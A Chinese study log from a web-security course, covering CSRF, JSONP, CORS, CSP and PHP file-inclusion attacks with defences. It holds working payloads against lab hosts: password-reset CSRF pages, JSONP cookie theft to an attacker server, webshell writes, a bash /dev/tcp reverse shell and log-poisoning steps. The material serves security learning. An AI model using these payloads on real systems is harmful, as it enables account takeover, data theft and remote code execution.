3.4网安学习第三阶段第四周回顾(个人学习记录使用)-本周主要内容

时间:2024-03-26 21:45:22

①CSRF跨站请求伪造

一、概述:

csrf: cross site request forgrey 跨站请求伪造。当攻击者不能通过常用的手段获取cookie时候,可以通过伪造请求方式,让受害者自己点击链接触发服务器数据修改操作。由于请求是从受害者自己浏览器发送。所以,服务器会收到与该浏览器绑定的sessionid,一般用户点击后,攻击就完成了,有时候CSRF也称为一次性攻击。

二、CSRF利用前提

1、用户需要登录目标系统

2、用户需要使用登录系统的浏览器打开CSRF攻击的链接地址

三、简单的攻击页面

这个html页面放在黑客的服务器上

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>美女图片</title>
</head>
<body>
<a href="https://www.lyg50.com/mm">
    <img src="0.jpg" width="500px">
</a>
</body>
<script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111"></script>
</html>

把页面的链接地址,发给用户,想办法让用户去点击

在用户打开页面的一瞬间,程序发了一个请求,去修改密码

image-20240318105323841

四、利用Burp生成CSRF Poc页面

使用firefox浏览器请求修改密码的页面,并且打开burp,让burp拦截修改密码请求

image-20240318110213520

当burp拦截到请求后,鼠标右键空白处,选择Generate CSRF Poc,

image-20240318110237243

会生成一个html页面的代码,这个页面很丑陋,需要自己美化

image-20240318110339767

利用生成的html代码,创建一个html页面,放在黑客服务器上,并且把链接地址发给受害用户点击

五、防御

1、验证请求头Referer

设置白名单,只有在白名单列表中的才可以

以下是resetpasswd.php的代码,增加了验证refer部分

<?php
// 开启session
session_start();
$refer = $_SERVER['HTTP_REFERER'];
if(!stripos($refer,"192.168.214.128")){
    die('非法请求');
}
//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];
$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
    echo "update success";
}else{
    echo "update fail";
}
mysqli_close($conn);
?>

这种方案很容易会被绕过

黑客构造的html页面的文件名中带有白名单的域名或ip地址,例如把美女图片的html页面的名字修改为

192.168.214.128girl01.html,那么在检测refer的时候,这个文件名中包含192.168.214.128

2、增加token验证

在resetpassword.html页面的form里增加一个隐藏的token

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>修改密码</title>
</head>
<body>
    
    <form action="resetpasswd.php">
        <input type="hidden" name="token" value="E5068ED7B755AF430CA35DEA14FAC1BE">
        <p>新密码:<input type="password" name="passwd"></p>
        <p>确认密码:<input type="password" name="confirmpasswd"></p>
        <p><input type="submit" value="修改密码"></p>
    </form>
</body>
</html>

在resetpasswd.php中检查浏览器提交的这个token的值

<?php
// 开启session
session_start();

// 获取token
$token = $_REQUEST['token'];
//验证token
if($token!='E5068ED7B755AF430CA35DEA14FAC1BE'){
    die('非法请求');
}

//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];
$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
    echo "update success";
}else{
    echo "update fail";
}
mysqli_close($conn);
?>

此时,黑客的html链接即使用户点击也无法修改密码

但是,黑客可以把用户的这个固定的token值,加到自己制作的页面中

image-20240318120953786

代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>美女图片</title>
</head>
<body>

<a href="https://www.lyg50.com/mm">
    <img src="0.jpg" width="500px">
</a>
</body>
<script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token=E5068ED7B755AF430CA35DEA14FAC1BE"></script>
</html>

此时,黑客制作的网页只要被用户访问,就能够修改用户的密码了

3、动态生成token

防御CSRF攻击

先写一个generatetoken.php程序,动态生成token,上传到靶机

<?php
session_start();
//生成一个随机的字符串
$token = md5(md5("token".time().rand(1,10000)));
//把token放入session
$_SESSION['token'] = $token;
echo $token;
?>

在resetpasswd.html中增加js代码,使用jquery,每次页面刷新时,请求generatetoken.php获取一个新的token,并且放在页面的隐藏字段中

<input type="hidden" name="token" id="token" value="0">

resetpasswd.html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>修改密码</title>
    <script src="jquery1.7.2.min.js"></script>
</head>
<body>
    
    <form action="resetpasswd.php">
        <input type="hidden" name="token" id="token" value="0">
        <p>新密码:<input type="password" name="passwd"></p>
        <p>确认密码:<input type="password" name="confirmpasswd"></p>
        <p><input type="submit" value="修改密码"></p>
    </form>
</body>
<script>

    //向服务器发请求,申请一个新的token
    $.get('generatetoken.php',function(res){
        console.log(res);
        document.getElementById("token").value = res;
    })

</script>
</html>

resetpasswd.php修改一下,验证session中保存的token是否和页面请求带来的token一致

<?php

// 开启session
session_start();

// 获取页面传入的token
$token = $_REQUEST['token'];
//从session中获取服务端生成的token
$tokeninsess = $_SESSION['token'];
if($tokeninsess!=$token){
    die('非法请求');
}
//验证通过后,删除session中的token
unset($_SESSION['token']);

//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];

$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
    echo "update success";
}else{
    echo "update fail";
}

mysqli_close($conn);
?>

由于黑客无法预测token的下一个值是多少,因此,无法预先构造一个带有token的链接。因此可以防止CSRF攻击

但是,如果黑客通过其他手段能够上传html文件到受害者的服务器,那么这种动态token也可能会被绕过

加入黑客把下面这个getdynamictoken.html上传到了受害者的服务器,并且受害者不小心打开这个网页,而且点击了超链接,那么受害者的密码也会被修改到,因为,在这个页面里,黑客模拟了正常的程序,从服务端用ajax获取到了动态产生的token,并且拼接到了修改密码的url后面。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="jquery1.7.2.min.js"></script>
</head>
<body>

    <a id="t" href="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token=">
        <img src="0.jpg" width="500px"> 约吗???</a>
    
</body>
<script>
    $.get('generatetoken.php',function(res){
        console.log(res);
        document.getElementById("t").href = document.getElementById("t").href+res;
    })


</script>
</html>

六、CSRF和XSS总结

  • XSS:

1、如何寻找漏洞

白盒测试:在代码中查询input关键字

黑盒测试:打开页面寻找可以输入的点

2、确定目标用户

我们需要确定被攻击的目标用户是哪些,因为需要把攻击链接发给目标用户点击。

3、把攻击链接地址发给目标用户

社工,邮件

4、三种xss类型的选择

优先用存储型,然后在尝试dom和反射型

  • CSRF:

1、如何寻找漏洞

白盒测试:查看一些更新操作,是否对请求头referer进行限制

黑盒测试:找到页面中的更新点

2、更新的前提

  • 前置工作:先研究一下系统,获取到更新操作的url以及参数

  • 修改上一步的参数,完成伪造的请求url

  • 如果是post提交,必须伪造页面

  • 用户必须是登录状态

  • 用户必须使用登录的浏览器来请求伪造的链接

3、防御:

  • 避免交叉漏洞
  • 严格检查请求头中的referer
  • 二次校验:针对所有数据修改,需要提交原密码

②跨域访问

一、跨域访问场景

多个系统集成在一起的时候,浏览器需要从多个不同域名的子系统中来获取数据,这就需要跨域访问数据。

二、什么是跨域

URL地址的组成:

http://www.woniuxy.com:9900/index.html

1、协议:http
2、域名或ip地址www.woniuxy.com
3、端口号:9900
以上三个部分组合在一起叫 “域”

两个url中以上三项中任何一项不同,就是不相同的域。

以下这两个是相同的域

http://192.168.214.128/hz02/posts/getdynamictoken.html

http://192.168.214.128/hz02/posts/generatetoken.php

以下这两个是不同的域

http://localhost:9999

http://127.0.0.1:9999

三、同源策略

1、注意同源策略是浏览器上的安全策略

2、在浏览器上使用ajax发请求,才会受到同源策略的限制

会遇到这种报错:

image-20240319094800563

四、不受到同源策略限制的标签

<script src="">
<link rel="stylesheet" href="">
<iframe  src="">
<img src="">
<a href="">

五、JSONP跨域

html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>  
</head>
<body>
    <h1>测试JSONP跨域访问</h1>
</body>
<script>
    function getTime(servertime){
        console.log('server time',servertime);
    }
</script>
<script>
    // var dt = new Date();//在javascript中创建日期对象
    // getTime(dt);//执行函数
    // getTime('2024-3-19 10:53:24')//服务端拼接成调用函数的形式
</script>
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime"></script>
</html>

服务端代码gettime.php:

<?php
date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')

?>

JSONP跨域过程:

1、原理:利用script标签不受同源策略限制

2、先在html页面上定义好一个getTime(servertime),功能自己定义

3、利用script标签去请求另一个服务器的后端的接口,并且把html中定义好的函数名称getTime当做参数的值传过去,此处参数名称callback可以自己定义成其他的

<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime">

4、当服务端代码获取到参数callback的值的时候,也就是getTime,会放入 m e t h o d 变量中,在把 method变量中,在把 method变量中,在把curtime和$method拼接成一个函数调用的形式:getTime(‘2024-3-19 10:53:24’) 这个字符串就返回给了浏览器

5、当浏览器收到这个返回的时候,因为是在script标签中,浏览器就会认为这是在调用一个定义好的getTime的函数,所以浏览器就执行了这个函数,并且把’2024-3-19 10:53:24’传入函数

六、使用JSONP返回数据

html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>  
</head>
<body>
    <h1>测试JSONP跨域访问</h1>
</body>
<script>

    //定一个一个获取人的列表的方法
    function getPersons(data){
        
        console.log(data);
		//把json字符串转换成浏览器可以使用的json对象
		//json字符串的样子:[{"name":"zhangsan","age":19},{"name":"lisi","age":20},{"name":"wangwu","age":23}]
		
        personList = JSON.parse(data);
       //循环每个对象,打印name和age
        for(i=0;i<personList.length;i++){
            person = personList[i];
            console.log("name=",person["name"],":age=",person["age"])
        }
    }
</script>

<script src="http://192.168.110.128/hz02/posts/jsonp/getpersons.php?cb=getPersons"></script>
</html>

服务端的程序getpersons.php

<?php
$persons=[
    ["name"=>"zhangsan","age"=>19],
    ["name"=>"lisi","age"=>20],
    ["name"=>"wangwu","age"=>23]
];
$method = $_GET['cb'];
$str = json_encode($persons);
echo "$method('$str')"
?>

七、使用JSONP漏洞获取用户Cookie

这个代码写在黑客服务器上php代码:reccookie.php,用来接收受害者的cookie

<?php
$cookie = $_GET['ucookie'];
file_put_contents('./cookies.txt',$cookie);
?>

受害者服务器上的html代码:

注意:callback的参数值,我们又构造了一个Image对象,并且给它的属性值src一个地址,就是黑客服务器的地址,因此,这里会把用户当前的cookie获取出来,并且发给黑客的程序接收。

注意document.cookie前面的加号是用%2b编码来表示的。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>利用jsonp的漏洞获取用户的cookie</title>  
</head>
<body>
    <h1>利用jsonp的漏洞获取用户的cookie</h1>
</body>
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=new Image().src='http://192.168.110.129/jsonp/reccookie.php?ucookie='%2bdocument.cookie//"></script>
</html>

受害者服务器上的php程序gettime.php

<?php

date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')

?>

八、jquery封装jsonp

服务端代码

<?php
$jsonstr = "abcdefeefe";
$method = $_GET['callback'];
echo "$method('$jsonstr')";
?>

html代码

1、注意:需要引入jquery

2、$.getJSON方法调用时候,url后面带的callback的参数的值用?表示

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="jquery1.7.2.min.js"></script>
</head>
<body>
    这是要动态获取的数据:<div id="t"></div>
</body>
<script>
    $.getJSON("http://192.168.110.128/hz02/posts/jsonp/getjson.php?callback=?",function(data){
        
            document.getElementById("t").innerText=data;
    });
</script>
</html>

九、JSONP漏洞防御

1、前端不要传回调函数的名字给后端,直接约定好【这个防御手段虽然有点麻烦,但是有效果】

2、后端检查Referer请求头,必须是约定好的服务器的地址

3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等

4、严格限制callback函数名称的长度

5、使用htmlspecialchars、addslashes函数转义

十、CORS

1、概念

CORS,全称Cross-Origin Resource Sharing [1] ,是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。

2、解决方案

服务器给浏览器发响应头

header(key: value)
1、允许哪些域来请求服务器的资源
header("Access-Control-Allow-Origin: * ")//* 代表所有域名都可以来请求,不推荐这样配置
header("Access-Control-Allow-Origin: http://192.168.201.147") //允许从http://192.168.201.147发来的请求
2、允许使用哪些方法请求
header("Access-Control-Allow-Method: *")//* 代表允许所有请求的方法
header("Access-Control-Allow-Method: GET,POST")//只允许GET和POST请求
3、允许携带哪些请求头过来
header("Access-Control-Allow-Headers: *");
4、是否允许携带Cookie
header("Access-Control-Allow-Credentials: true");

html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>  

    <script src="jquery1.7.2.min.js"></script>
</head>
<body>
    <h1>测试Cors跨域访问</h1>
</body>

<script>
    
    $.get("http://192.168.110.128/hz02/posts/cors/test1.php",function(data){
        alert(data)
    })
</script>

</html>

服务端代码:

<?php
echo "abcd";
?>

如果服务器端没有配置任何响应头,浏览器会的到这样报错

image-20240319153402880

如果服务端程序配置了响应头,那么浏览器会收到这样的响应头,就不会阻止ajax获取服务器的响应内容

此时的服务器端代码:

<?
header("Access-Control-Allow-Origin:*");//允许所有的域名访问
echo "abcd";
?>

image-20240319153718057

服务端设置Origin请求白名单:

代码:

<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://localhost","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
    header("Access-Control-Allow-Origin: $origin");
}

echo "aaaaaaaaa";
?>

注意:http://127.0.0.1和http://localhost不是相同的域。

3、CORS跨域原理
  • 当ajax发请求给服务端的时候, 会有一个特殊的请求头Origin会带上当前页面的域信息

Origin: http://192.168.3.67

  • 服务端收到请求后,会判断当前Origin所带的域信息,是否允许访问当前网站
  • 如果允许,那么在响应头中增加一个Access-Control-Allow-Origin,带着域信息
  • 浏览器收到这个响应头,知道当前服务器接收跨域访问请求
  • 如果服务端没有返回Access-Control-Allow-Origin,那么浏览器会阻止响应的数据展示在页面
4、预检请求

(1)简单请求(需同时满足以下条件)不会触发预检请求

  • 请求方法是以下三种之一:GET、HEAD、POST
  • HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type
  • Content-Type的值仅限于以下三种:text\plain、multipart/form-data、application/x-www-form-urlencoded

(2)非简单请求:(凡不同时满足上面两个条件,就属于非简单请求)会触发浏览器发生预检请求,这是浏览器的行为。“预检请求”的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

CORS规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)

html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>  

    <script src="jquery1.7.2.min.js"></script>
</head>
<body>
    <h1>测试Cors带预检请求的跨域访问</h1>
</body>

<script>

    $.ajax({
        url:"http://192.168.110.128/hz02/posts/cors/test1.php",
        method:"POST",
        headers:{
        //请求头为aa
            "aa":"zhangsan"
        },
        success:function(data){
            alert("success:"+data)
        }
    })

</script>

</html>

服务端代码:

<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
    header("Access-Control-Allow-Origin: $origin");//允许白名单的域
    header("Access-Control-Allow-Method: *");//允许所有请求方法
    header("Access-Control-Allow-Headers: *");//允许所有请求头
    header("Access-Control-Allow-Credentials: true");//允许携带cookie
}

echo "aaaaaaaaa";
?>

image-20240319164356977

image-20240319164429602

十一、CSP内容安全策略

全称:Content Security Policy

提高站点中所有资源的安全性。XSS的核心目的就是攻击浏览器,获取用户的cookie信息,从而拿到用户的信息。CSP中有一部分安全策略可以防御XSS获取用户的cookie以及执行恶意代码。因此CSP主要解决浏览器资源安全问题,其中就包含html,css,js,多媒体。我们这里主要是针对js进行防护。

CSP核心就是用白名单方式,开发者明确告知浏览器哪些资源外部可以加载和执行,实现和执行全部是浏览器来做,开发者只需要正确配置即可。

1、通过配置CSP只允许从白名单的网站加载javascript

(1) 在内容展示php页面或者html页面,添加csp:

<?php
session_start();

//ini_set("session.cookie_httponly",1);
header("Content-Security-Policy:  script-src 'self' 'unsafe-inline' 'unsafe-eval' ");

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSP演示</title>
    <script src="http://192.168.88.129/testcsp.js"></script>
<script src="testcsp.js"></script>
</head>
<body>

<button οnclick="show()">点击一下</button>
<button οnclick="showalert()">执行文件中的方法</button>
<button οnclick="alertmessage()">执行文件中的方法</button>
<img src="0.jpg" width="430">
</body>
<script>
    function show(){

        alert(document.cookie)
        result = eval('1+2')
        console.log(result)
   }

</script>
</html>


如果仅仅是在html页面增加限制策略,可以把下面这配置放在html的head标签内部

<meta http-equiv=“Content-Security-Policy” content="script-src 'self'">

(2) 其他配置:

script-src 'self' http://www.woniunote.com *.jd.com 'unsafe-inline'对于脚本:只信任当前域名自己和http://www.woniunote.com 还有就是*.jd.com这样的网站,'unsafe-inline'是指内嵌在页面中<script></script>标签内的js脚本

img-src 对于图片,允许从哪些来源加载 'none'表示不允许从任何url加载,'self'只信任当前域名

object-src 'none',对于<object>标签:不信任任何URL,即不加载任何资源

style-src 对于样式表,允许从哪些来源加载

child-src https,对于框架(iframe):必须使用HTTPS协议加载,注意冒号是https协议的一部分

unsafe-eval   允许把字符串当做代码来执行,例如eval,setTimeout,setInterval

nonce  每次响应头中给出一个随机值,例如:nonce-12345,当内嵌的script脚本包含这个值,才能执行

hash  列出允许执行的代码的hash值,页面内嵌脚本的hash值必须吻合,才能被执行

default-src 'self'; report-uri http://192.168.81.128/getreport.php 只允许从当前域名加载资源文件,并且一旦有违反,会向report-uri后面指定的地址发送报告

default-src 'self'; script-src 'self' https://example.com; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self' https://example.com;

default-src: 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
2、添加全局安全策略:

在httpd.conf文件中,添加安全策略及报告uri:

Header set Content-Security-Policy "default-src 'self' 'unsafe-inline' http://192.168.81.128;report-uri http://192.168.81.129/csp/receivereport.php"

image-20240320103052426

在192.168.88.129上准备一个接受报告的php程序receivereport.php

代码如下:注意这个php文件所在的目录,需要放开所有用户的写权限,否则无法写入报告的文件

<?php
    $data = file_get_contents("php://input");//php的伪协议
    $f = fopen('cspreport.txt',"a");//这一行要注意,cspreport.txt所在的文件夹要有些权限
    $json = json_decode($data,true);

    fwrite($f,date("y-m-d h:i:s \r\n"));
    fwrite($f,"-----------------------------------------------------------------------------------------------------------\r\n");
    foreach($json['csp-report'] as $key=>$val){
        fwrite($f,"$key:$val \r\n");
    }
    fwrite($f,"-------------------------------------------------------------------------------------------------\r\n\r\n\r\n");

    fclose($f);
?>

十二、禁止js获取cookie

如何 禁止:document.cookie : js获取用户cookie

(1) 全局设置:在php.ini配置文件中,将 session.cookie_httponly的值改为On.重启apache服务。

(2) 局部设置:在需要禁用js获取cookie页面上添加ini_set();

<?php
	ini_set("session.cookie_httponly",1);
?>

③文件包含

一、文件包含的函数

include
include_once //自动过滤重复的引用
require
require_once

二、文件包含代码样例

文件名:test.php
==============
<?php
  $f = $_GET['fc'];
  include $f;
?>
在test.php相同的目录里面再创建一个文件a.txt,内容是:
111

访问上面的test.php

http://192.168.88.128/hz02/posts/include/test.php?fc=a.txt

会把a.txt的内容全部显示出来

三、文件包含应用场景

1、企业里面需要快速发布新的功能

2、一些开源框架,需要动态加载第三方提供的插件功能

代码样例:

index.php负责显示动态产生的标签,

注意此文件中包含了dbinfo.php,是数据库的连接信息

<?php
include 'dbinfo.php';
$sql = "select label,filename from tb_files";
$result = mysqli_query($conn,$sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        ul {  
            list-style-type: none;  
            padding: 0; /* 去除默认的padding */  
            margin: 0; /* 去除默认的margin */  
        }  
  
        ul li {  
            display: inline-block;  
            margin-right: 10px; /* 设置间距 */  
        }
    </style>

    <script>
        function show(inf){
            document.getElementById("infile").value=inf;
            document.forms[0].submit();
            // console.log(document.forms[0]);
        }
    </script>
</head>
<body>
    <ul>
        <?php   
        while($rows = mysqli_fetch_assoc($result)){
        ?>
            <li><a href=javascript:show("<?=$rows['filename']?>")><?=$rows['label']?></a></li>
        <?php
        }
        ?>    

    </ul>
    <div id="content">
        <?php 
            $infilename = @$_GET['infile'];
            if(isset($infilename)){
                include $infilename;
            }
        ?>
    </div>
    <form id="su">
        <input type="hidden" name="infile" id="infile">
    </form>
</body>
</html>
<?php  
   mysqli_close($conn);
?>

pushfile.php

注意:把这个文件所在的目录的其他人的写权限开放否则无法上传文件

<?php
    $submit = @$_POST['submit'];
    if(isset($submit)){
        $label = $_POST['label'];
        $filename = $_FILES['phpfile']['name'];
        $tmpfile = $_FILES['phpfile']['tmp_name'];
        move_uploaded_file($tmpfile,$filename);

        include 'dbinfo.php';
        mysqli_set_charset($conn,'utf8');
        $sql = "insert into tb_files(label,filename)
                    values ('$label','$filename') ";
        $result = mysqli_query($conn,$sql);   
        if($result){
            echo "success";
        }else{
            echo "fail";
        }
        mysqli_close($conn);
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件发布</title>
</head>
<body>
    <form action="pushfile.php" method="post" enctype="multipart/form-data">
        <p>标签名:<input type="text" name="label"></p>
        <p>文件:<input type="file" name="phpfile"></p>
        <p><input type="submit" name="submit"></p>
    </form>
</body>
</html>

四、文件包含种类

1、本地文件包含
//读取存在文件包含漏洞的服务器上的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=/etc/passwd
http://192.168.88.128/hz02/posts/include/test.php?fc=0.jpg
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php //(本地包含php只能看到php执行结果)
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php&name=zhangsan  //(如果被包含的php还需要参数,那么在url中使用&连接)

2、远程文件包含

首先需要/opt/lampp/etc/php.ini文件中打开两个配置项,修改好配置,要重启

/opt/lampp/xampp restart
allow_url_fopen=On
allow_url_include=On //这个如果不打开,远程文件无法包含

image-20240320141807452

远程包含另一个服务器的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/tinclude.txt //(读取另一个服务器上的文本文件)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php //(包含远程服务器的php文件,那么php文件会先在远程服务器执行,然后把结果返回并包含进来)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php?name=zhangsan%26age=19 //(当远程服务器上的php需要参数的时候,用?连接,如果有多个参数,那么参数之间要使用%26来连接)

如果遇到下面的报错,说明服务器禁止远程包含

image-20240320143620031

五、伪协议

1、php://input全文作为php读取
这个协议把请求体中所有内容作为整体,全部读取
<?php
$data = file_get_contents("php://input");
echo $data;
?>
可以使用POST方法,传入大量的文本,不需要参数名。
===========
文件包含的代码test.php:
<?php
  $f = $_GET['fc'];
  include $f;
?>

请求上面这个test.php读取任意文件
http://192.168.88.128/include/test1.php?fc=php://input
payload:使用POST方法传入
<?php echo  file_get_contents('/etc/passwd'); ?>

image-20240320151847016

请求test.php文件,写入一句话木马
http://192.168.88.128/include/test1.php?fc=php://input
payload:使用POST方法传入
<?php file_put_contents("/opt/lampp/htdocs/img/muma.php","<?php eval($"."_"."POST[a]);?>");?>

image-20240320153027998

2、php://filter以base64的格式

以base64的格式显示输出,可以获取php文件的源代码,php代码不会被执行。
注意:返回的php源码被使用base64转码,需要再一次转回成普通编码格式才能阅读

读取php文件的源码
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/dbinfo.php
但是读到的结果需要用base64转码才能看到原文

读取图片文件
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/0.jpg

3、phar:// 读取压缩文件中的文件
压缩文件a.zip里面有个a.txt,通过下面的方式直接可以访问到a.txt内容
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/a.zip/a.txt

压缩文件b.zip里面有两层目录dir1/dir2,在dir2里有b.txt,phar协议可以访问压缩文件b.zip中多级目录下的文件
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.zip/dir1/dir2/b.txt 

注意:压缩文件生成以后,可以任意修改扩展名,此时我们把扩展名修改成jpg,还是可以读取到
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.jpg/dir1/dir2/b.txt
4、zip:// 读取压缩文件中的文件
1)zip只能读取压缩文件中的第一层目录中的文件,不能有多级目录
2)压缩文件和真正的文件之间要用%23分隔,不能/
http://192.168.88.128/include/test1.php?fc=zip:///opt/lampp/htdocs/hz02/posts/include/a.zip%23a.txt
5、data:// 接收get请求

能把用户输入的展示在页面上

把用户输入的hello展示出来
http://192.168.88.128/include/test1.php?fc=data://text/plain,hello 
可以执行php代码,并显示
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php phpinfo();?>
可以写入一句话木马
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php file_put_contents("/opt/lampp/htdocs/hz02/posts/data/muma.php","<?php eval($"."_"."POST[a]);?>");?>

========
执行反弹shell
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>

具体如何操作:
1)开启kali,注意这里我的kali的ip地址是192.168.88.130,要根据自己的ip替换下面命令中的ip
并执行
nc -lvp  4444
2)在浏览器上执行
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>
3)在kali的控制台上就能执行命令,实际就是在被害者机器上执行

六、各种日志包含

1、apache日志
(1)通过正常的访问php文件,带上一句话木马参数,让apache写入到/opt/lampp/logs/access_log
192.168.88.1 - - [20/Mar/2024:16:56:17 +0800] "GET /include/test1.php?fc=<?php eval($_POST[a]);?>" 400 964
(2)访问文件包含的php,把apache的日志作为被包含的参数,因为日志文件里的一句话木马需要一个参数a,那么我们用POST的方式传一个参数给a,如下图
http://192.168.88.128/include/test1.php?fc=/opt/lampp/logs/access_log&

image-20240320170032071

2、mysql日志包含
前提:需要mysql打开日志

1.开启方式:/opt/lampp/etc/my.cnf或my.ini 添加三个参数
log-output=FILE 
general-log=1  
general_log_file=xxxx.log
修改好配置,重启mysql

image-20240320170756425

执行sql语句
select  '<?php phpinfo();?>' from tb_files;
会把<?php phpinfo();?>写入到日志文件
访问
http://192.168.88.128/include/test1.php?fc=/tmp/mysql.log
就能执行phpinfo(),
注意:mysql的日志文件基本不会开放给其他用户读取,所以,一般这种方式不行。


3、ssh登录日志包含
(1)使用ssh登录受害者主机,用户名使用一句话木马
ssh '<?php eval($_POST[code]);?>'@192.168.32.128
这样就会在受害者机器上的ssh日志文件写入一句话木马

image-20240320173247685

访问文件包含的php,注意传入给日志文件参数名是code

http://192.168.88.128/include/test1.php?fc=/var/log/secure&

image-20240320173331487

④文件上传

一、文件上传场景

1、用户资料

需要上传用户的头像,属于图片上传

2、企业内部系统

企业内部的数据导入功能

3、商品图片上传

二、危害

getshell,获取系统资源,例如拖库。

三、文件上传代码

html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>  
</head>
<body>
    <h1>文件上传</h1>
    <form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data">

